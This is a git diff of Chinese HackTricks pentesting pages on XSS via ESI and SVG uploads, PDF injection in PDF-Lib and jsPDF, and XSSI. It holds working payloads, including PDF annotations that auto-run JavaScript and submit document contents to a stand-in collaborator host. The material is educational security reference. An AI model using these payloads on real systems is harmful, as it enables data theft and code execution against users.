在**使用缓存的网站**上获得XSS?尝试使用此有效负载通过边缘包含注入将其升级为SSRF:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
使用它来绕过cookie限制、XSS过滤器等等!
|
使用它来绕过cookie限制、XSS过滤器等等!\
|
||||||
有关此技术的更多信息,请参阅:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||||
|
|
||||||
### 动态创建PDF中的XSS
|
### 动态创建PDF中的XSS
|
||||||
|
|
||||||
如果一个网页使用用户控制的输入创建PDF,你可以尝试**欺骗**创建PDF的**机器人**去**执行任意JS代码**。
|
如果一个网页使用用户控制的输入创建PDF,您可以尝试**欺骗**创建PDF的**机器人**来**执行任意JS代码**。\
|
||||||
因此,如果**PDF创建机器人发现**某种**HTML** **标签**,它将会**解释**它们,你可以**利用**这种行为引发**服务器端XSS**。
|
因此,如果**PDF创建机器人发现**某种**HTML** **标签**,它将**解释**它们,您可以**利用**这种行为来引发**服务器XSS**。
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
如果你无法注入HTML标签,尝试**注入PDF数据**可能是值得的:
|
如果无法注入HTML标签,可以尝试**注入PDF数据**:
|
||||||
|
|
||||||
{% content-ref url="pdf-injection.md" %}
|
{% content-ref url="pdf-injection.md" %}
|
||||||
[pdf-injection.md](pdf-injection.md)
|
[pdf-injection.md](pdf-injection.md)
|
||||||
|
@ -1331,15 +1336,15 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### Amp4Email中的XSS
|
### Amp4Email中的XSS
|
||||||
|
|
||||||
AMP是一种以在移动客户端上开发超快网页而闻名的技术。**AMP是一组由JavaScript支持的HTML标签**,它可以轻松启用功能,同时更加注重性能和安全性。有各种[AMP组件](https://amp.dev/documentation/components/?format=websites),从轮播图,到响应式表单元素,到从远程端点检索新内容。
|
AMP是一种以开发移动客户端上超快网页而闻名的技术。**AMP是由JavaScript支持的一组HTML标签**,可以轻松启用功能,并专注于性能和安全性。有关从轮播图到响应式表单元素再到从远程端点检索新内容的一切内容的[AMP组件](https://amp.dev/documentation/components/?format=websites)。
|
||||||
|
|
||||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了你可以在电子邮件消息中使用的[AMP组件子集](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md)。AMP电子邮件的接收者可以直接在电子邮件中查看和与AMP组件互动。
|
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了[一组AMP组件](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md),您可以在电子邮件中使用。 AMP电子邮件的收件人可以直接在电子邮件中查看和与AMP组件交互。
|
||||||
|
|
||||||
示例 [**在Gmail中Amp4Email的XSS编写**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
示例[**在Gmail中Amp4Email中的XSS写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||||
|
|
||||||
### 上传文件时的XSS(svg)
|
### 上传文件中的XSS(svg)
|
||||||
|
|
||||||
上传如下文件作为图片(来源:[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
将如下文件作为图像上传(来自[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||||
```markup
|
```markup
|
||||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||||
Content-Length: 574
|
Content-Length: 574
|
||||||
|
@ -1395,15 +1400,15 @@ id="foo"/>
|
||||||
```xml
|
```xml
|
||||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||||
```
|
```
|
||||||
在[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) **找到更多 SVG 载荷**
|
在[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)中查找**更多SVG有效载荷**
|
||||||
|
|
||||||
## 杂项 JS 技巧 & 相关信息
|
## 杂项JS技巧和相关信息
|
||||||
|
|
||||||
{% content-ref url="other-js-tricks.md" %}
|
{% content-ref url="other-js-tricks.md" %}
|
||||||
[other-js-tricks.md](other-js-tricks.md)
|
[other-js-tricks.md](other-js-tricks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XSS 资源
|
## XSS资源
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||||
|
@ -1411,25 +1416,25 @@ id="foo"/>
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
### XSS 工具
|
### XSS工具
|
||||||
|
|
||||||
在[**这里找到 XSS 工具**](xss-tools.md)**。**
|
在这里[**找到一些XSS工具**](xss-tools.md)**。**
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**漏洞赏金提示**:**注册** **Intigriti**,一个由黑客创建,为黑客服务的高级**漏洞赏金平台**!立即加入 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
**漏洞赏金提示**:**注册**Intigriti,一个由黑客创建的高级**漏洞赏金平台,为黑客而生**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,128 +1,33 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**如果您的输入在PDF文件中被反映,您可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。**
|
**如果您的输入被反映在PDF文件中,您可以尝试注入PDF数据以执行JavaScript或窃取PDF内容。**
|
||||||
|
|
||||||
以下信息取自 [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
查看帖子:[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||||
|
|
||||||
## PDF-Lib
|
|
||||||
|
|
||||||
这次,我使用了 [PDFLib](https://pdf-lib.js.org)。我花了一些时间使用这个库来创建一个注释,并看看我是否可以注入一个闭合括号到注释的URI中 - 它奏效了!我用来生成注释代码的示例易受攻击的代码是:
|
<details>
|
||||||
|
|
||||||
`...` \
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
`A: {`\
|
|
||||||
`Type: 'Action',`\
|
|
||||||
`S: 'URI',`\
|
|
||||||
``URI: PDFString.of(`injection)`),``\
|
|
||||||
`}`\
|
|
||||||
`})`\
|
|
||||||
`...`
|
|
||||||
|
|
||||||
[完整代码:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
我怎么知道注入成功了?除非我注入了一个闭合括号,否则PDF会正确渲染。这证明了闭合括号打破了字符串边界,导致PDF代码无效。破坏PDF很好,但我需要确保我可以执行JavaScript。我查看了渲染的PDF代码,注意到输出使用FlateDecode过滤器进行编码。我写了一个小脚本来解压缩块,注释部分的输出看起来像这样:`<<`\
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
`/Type /Annot`\
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
`/Subtype /Link`\
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
`/Rect [ 50 746.89 320 711.89 ]`\
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
`/Border [ 0 0 2 ]`\
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
`/C [ 0 0 1 ]`\
|
|
||||||
`/A <<`\
|
|
||||||
`/Type /Action`\
|
|
||||||
`/S /URI`\
|
|
||||||
`/URI (injection))`\
|
|
||||||
`>>`\
|
|
||||||
`>>`
|
|
||||||
|
|
||||||
正如您可以清楚地看到,注入字符串用一个闭合括号关闭了文本边界,这留下了一个现有的闭合括号,导致PDF渲染不正确:
|
</details>
|
||||||
|
|
||||||
![加载PDF时显示错误对话框的屏幕截图](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
|
|
||||||
|
|
||||||
太好了,所以我可以破坏PDF的渲染,那么接下来呢?我需要想出一个调用JavaScript的注入 - PDF注入的alert(1)。
|
|
||||||
|
|
||||||
就像XSS向量取决于浏览器的解析一样,PDF注入的可利用性也可能取决于PDF渲染器。我决定首先针对Acrobat,因为我认为向量在Chrome中不太可能起作用。我注意到两件事:1)您可以注入额外的注释动作和2)如果您修复现有的闭合括号,那么PDF将会渲染。经过一些实验,我想出了一个很好的有效载荷,它注入了一个额外的注释动作,执行了JavaScript,并修复了闭合括号:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
|
|
||||||
|
|
||||||
首先我打破了括号,然后使用>>打破了字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript,/JS是存储JavaScript的地方。括号内是我们的实际JavaScript。注意,如果括号是平衡的,你不必转义它们。最后,我添加了注释的类型,完成了字典,并修复了闭合括号。这太酷了;我可以制作一个执行JavaScript的注入,但那又怎样呢?你可以执行JavaScript,但你无法访问DOM,所以你不能读取cookies。然后James出现了,并建议从注入中窃取PDF的内容。我开始寻找获取PDF内容的方法。在Acrobat中,我发现你可以使用JavaScript提交表单而不需要任何用户互动!查看JavaScript API的规范,修改基础注入并添加一些JavaScript,这些JavaScript将把整个PDF代码的内容通过POST请求发送到外部服务器是相当简单的:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
|
|
||||||
`this.submitForm({`\
|
|
||||||
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
|
|
||||||
`/Type/Action>>/>>(`
|
|
||||||
|
|
||||||
不需要警报;我只是添加它来证明注入正在执行JavaScript。
|
|
||||||
|
|
||||||
接下来,只是为了好玩,我看了看不使用JavaScript窃取PDF内容。从PDF规范中,我发现你可以使用一个名为SubmitForm的动作。我过去在Burp Suite中构建PDF进行扫描检查时使用过它。它确切地做了名字所暗示的事情。它还在字典中有一个Flags条目来控制提交的内容。Flags字典键接受一个整数值,但每个单独的设置都由一个二进制位控制。使用ES6中的新二进制文字处理这些设置是一个好方法。二进制文字应该是14位长,因为总共有14个标志。在以下示例中,所有设置都被禁用:`0b00000000000000`
|
|
||||||
|
|
||||||
要设置一个标志,你首先需要查找它的位位置([PDF规范](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf)的表237)。在这种情况下,我们想要设置SubmitPDF标志。由于这是由第9位控制的,你只需要从右边数9位:`0b00000100000000`
|
|
||||||
|
|
||||||
如果你用JavaScript评估这个,结果是十进制值256。换句话说,将Flags条目设置为256将启用SubmitPDF标志,这将导致提交表单时发送PDF的内容。我们所需要做的就是使用我们之前创建的基础注入,并修改它来调用SubmitForm动作而不是JavaScript:`/blah)>>/A<</S/SubmitForm/Flags 256/F(`\
|
|
||||||
`https://your-id.burpcollaborator.net)`\
|
|
||||||
`/Type/Action>>/>>(`
|
|
||||||
|
|
||||||
## sPDF
|
|
||||||
|
|
||||||
接下来我将我的方法应用到另一个PDF库 - [jsPDF](https://parall.ax/products/jspdf) - 并发现它也是易受攻击的。利用这个库很有趣,因为他们有一个可以在浏览器中执行的API,允许你实时生成PDF,当你输入时。我注意到,像PDP-Lib库一样,他们忘记了在注释URLs内部转义括号。这里的url属性是易受攻击的:`doc.createAnnotation({bounds:`\
|
|
||||||
`{x:0,y:10,w:200,h:200},`\
|
|
||||||
``type:'link',url:`/input`});``\
|
|
||||||
`//vulnerable`
|
|
||||||
|
|
||||||
所以我使用他们的API生成了一个PDF,并将PDF代码注入到url属性中:
|
|
||||||
|
|
||||||
`var doc = new jsPDF();`\
|
|
||||||
`doc.text(20, 20, 'Hello world!');`\
|
|
||||||
`doc.addPage('a6','l');`\
|
|
||||||
`doc.createAnnotation({bounds:`\
|
|
||||||
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
|
|
||||||
`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(`\
|
|
||||||
`` `}); ``
|
|
||||||
|
|
||||||
我通过移除字典的类型条目和不需要的F条目来缩减向量。然后我留下了一个悬空的括号,它会被现有的括号关闭。减少注入的大小很重要,因为你注入的web应用程序可能只允许有限数量的字符。`/blah)>>/A<</S/JavaScript/JS(app.alert(1)`
|
|
||||||
|
|
||||||
然后我发现可以进一步减少向量!Acrobat将允许在一个注释动作中有一个URI和一个JavaScript条目,并且会愉快地执行JavaScript:`/)/S/JavaScript/JS(app.alert(1)`
|
|
||||||
|
|
||||||
进一步的研究揭示,你还可以注入多个注释。这意味着你可以打破注释并定义自己的rect坐标,选择文档的哪个部分是可点击的。使用这种技术,我能够使整个文档可点击。 `/) >> >>`\
|
|
||||||
`<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0`\
|
|
||||||
`0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net`
|
|
||||||
|
|
||||||
## Executing annotations without interaction
|
|
||||||
|
|
||||||
到目前为止,我展示的向量需要点击来激活注释中的动作。通常,James问了一个问题:“我们可以自动执行吗?”。我查阅了PDF规范,注意到注释的一些有趣特性:
|
|
||||||
|
|
||||||
"**PV** 和 **PI** 条目允许区分打开的页面和可见的页面。在任何时候,查看器应用程序中只有一个页面被认为是打开的,而根据页面布局,可能有多个页面是可见的。"
|
|
||||||
|
|
||||||
我们可以向字典添加PV条目,注释将在Acrobat中自动触发!不仅如此,我们还可以在PDF文档关闭时自动执行有效载荷,使用PC条目。攻击者可以追踪你何时打开PDF并关闭它。
|
|
||||||
|
|
||||||
以下是如何从注释中自动执行:`var doc = new jsPDF();`\
|
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\
|
|
||||||
`>> >>`\
|
|
||||||
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});``\
|
|
||||||
`doc.text(20, 20, 'Auto execute');`
|
|
||||||
|
|
||||||
当你关闭PDF时,这个注释会触发:`var doc = new jsPDF();`\
|
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
|
|
||||||
``<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});``\
|
|
||||||
`doc.text(20, 20, 'Close me');`
|
|
||||||
|
|
||||||
## Chrome
|
|
||||||
|
|
||||||
我已经谈了很多关于Acrobat的内容,但PDFium(Chrome的PDF阅读器)呢?Chrome很棘手;它的攻击面更小,因为它的JavaScript支持比Acrobat的更有限。我首先注意到的是,注释中根本没有执行JavaScript,所以我的概念验证不起作用。为了让向量在Chrome中起作用,我至少需要在注释中执行JavaScript。不过,我首先决定尝试覆盖注释中的URL。这很容易。我可以使用我之前想出的基础注入,并简单地注入另一个带有URI条目的动作,这将覆盖现有的URL:`var doc = new jsPDF();`\
|
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
|
|
||||||
``/Type/Action>>/F 0>>(`});``\
|
|
||||||
`doc.text(20, 20, 'Test text');`
|
|
||||||
|
|
||||||
这将在点击时导航到portswigger.net。然后我继续尝试不同的注入来调用JavaScript,但每次都会失败。我认为这是不可能的。我退后一步,尝试手动构造一个完整的PDF,它将在Chrome中从点击调用JavaScript,而不是注入。当使用AcroForm按钮时,Chrome将允许JavaScript执行,但问题是它需要引用PDF的部分。我设法制作了一个注入,它将在JSPDF上从点击执行JavaScript:`var doc = new jsPDF();`\
|
|
||||||
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
|
|
||||||
`doc.text(20, 20, 'Click me test');`
|
|
||||||
|
|
||||||
正如您所看到的,上面的向量需要了解PDF结构。 \[ 3 0 R] 指的是一个特定的PDF对象,如果我们正在进行盲目的PDF注入攻击,我们不会知道它的结构。不过,下一步是尝试表单提交。我们可以使用submitForm函数来实现这一点,因为注释需要点击,Chrome将允许它:`) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
|
|
||||||
|
|
||||||
这有效,但很混乱,并且需要了解PDF结构。我们可以大大减少它,并去除对PDF结构的依赖:`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/
|
|
||||||
|
|
|
@ -1,51 +1,48 @@
|
||||||
# XSSI (跨站脚本包含)
|
# XSSI(跨站脚本包含)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### 信息取自 [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
|
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
XSSI 指的是一种漏洞,它利用了这样一个事实:当使用 `script` 标签包含资源时,SOP(同源策略)不适用,因为脚本必须能够跨域包含。因此,攻击者可以**读取**使用 **`script` 标签**包含的所有内容。
|
XSSI指的是一种利用事实的漏洞,即当使用`script`标签包含资源时,SOP不适用,因为脚本必须能够跨域包含。攻击者因此可以通过**`script`标签**读取包含的所有内容。
|
||||||
|
|
||||||
当涉及到动态 JavaScript 或 JSONP 时,这一点尤其有趣,因为所谓的环境权限信息(如 cookies)用于认证。请求来自不同主机的资源时,会包含 cookies。
|
当涉及动态JavaScript或JSONP时,特别是在使用像cookie这样的环境授权信息进行身份验证时,这一点尤为有趣。当从不同主机请求资源时,cookie会被包含在内。
|
||||||
|
|
||||||
### 类型
|
### 类型
|
||||||
|
|
||||||
1. 静态 JavaScript(常规 XSSI)
|
1. 静态JavaScript(常规XSSI)
|
||||||
2. 只有在认证后才能访问的静态 JavaScript
|
2. 只有在经过身份验证时才能访问的静态JavaScript
|
||||||
3. 动态 JavaScript
|
3. 动态JavaScript
|
||||||
4. 非 JavaScript
|
4. 非JavaScript
|
||||||
|
|
||||||
## 常规 XSSI
|
**以下信息是[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)的摘要**。请查看以获取更多详细信息。
|
||||||
|
|
||||||
私有信息位于全局可访问的 JS 文件中,您可以通过阅读文件、搜索关键词或使用正则表达式来检测这一点。\
|
|
||||||
要利用这一点,只需在恶意内容中包含带有私有信息的脚本:
|
### 常规XSSI
|
||||||
```markup
|
在这种方法中,私人信息被嵌入到一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本,就可以将其包含在恶意内容中,从而未经授权地访问敏感数据。下面是一个示例利用技术:
|
||||||
|
```html
|
||||||
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
||||||
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
||||||
```
|
```
|
||||||
## 动态JavaScript基础的XSSI和认证JavaScript-XSSI
|
### 动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI
|
||||||
|
